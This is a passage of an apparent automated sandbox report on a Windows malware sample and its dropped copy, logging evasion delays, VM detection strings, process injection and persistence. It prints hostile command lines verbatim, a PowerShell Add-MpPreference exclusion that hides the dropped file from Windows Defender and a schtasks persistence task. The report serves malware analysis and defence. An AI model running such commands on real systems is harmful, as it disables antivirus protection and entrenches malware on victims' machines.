Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -297453s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -297330s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -297203s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -297093s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -296984s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -296875s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -296765s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -296656s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -296547s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -296437s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -296316s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -296187s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -296078s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -295968s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -295856s >= -30000s
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe TID: 7440	Thread sleep time: -295749s >= -30000s

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299875	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299766	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299656	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299547	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299438	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299313	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299188	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 299063	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298953	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298844	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298719	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298610	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298485	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298360	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298235	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 298110	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297985	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297860	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297735	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297610	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297484	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297375	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297266	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297156	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 297047	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296937	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296828	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296719	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296594	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296484	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296375	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296266	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296156	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 296047	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 295935	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 295828	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 295719	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Thread delayed: delay time: 295609	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599876
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599750
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599641
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599531
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599422
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599313
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599202
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 599094
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 598984
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 598874
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299988
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299859
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299750
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299640
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299531
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299422
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299311
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299203
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 299093
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298984
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298871
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298765
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298656
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298547
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298437
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298328
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298218
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298109
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 298000
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297890
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297781
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297671
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297562
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297453
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297330
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297203
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 297093
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296984
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296875
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296765
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296656
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296547
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296437
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296316
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296187
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 296078
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 295968
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 295856
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Thread delayed: delay time: 295749

Source: vZkoWbol.exe, 00000007.00000002.2143441944.0000000009146000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\=}v
Source: vZkoWbol.exe, 00000007.00000002.2143441944.0000000009132000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}$
Source: vZkoWbol.exe, 00000007.00000002.2143441944.0000000009132000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\-~b
Source: z1E-catalogSamples.exe, 00000006.00000002.4524319407.00000000012E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllJ
Source: vZkoWbol.exe, 0000000C.00000002.4539079433.0000000006560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe"
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Memory written: C:\Users\user\Desktop\z1E-catalogSamples.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Memory written: C:\Users\user\AppData\Roaming\vZkoWbol.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vZkoWbol.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmp9244.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process created: C:\Users\user\Desktop\z1E-catalogSamples.exe "C:\Users\user\Desktop\z1E-catalogSamples.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vZkoWbol" /XML "C:\Users\user\AppData\Local\Temp\tmpA1D5.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process created: C:\Users\user\AppData\Roaming\vZkoWbol.exe "C:\Users\user\AppData\Roaming\vZkoWbol.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process created: C:\Users\user\AppData\Roaming\vZkoWbol.exe "C:\Users\user\AppData\Roaming\vZkoWbol.exe"	Jump to behavior

Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Queries volume information: C:\Users\user\Desktop\z1E-catalogSamples.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
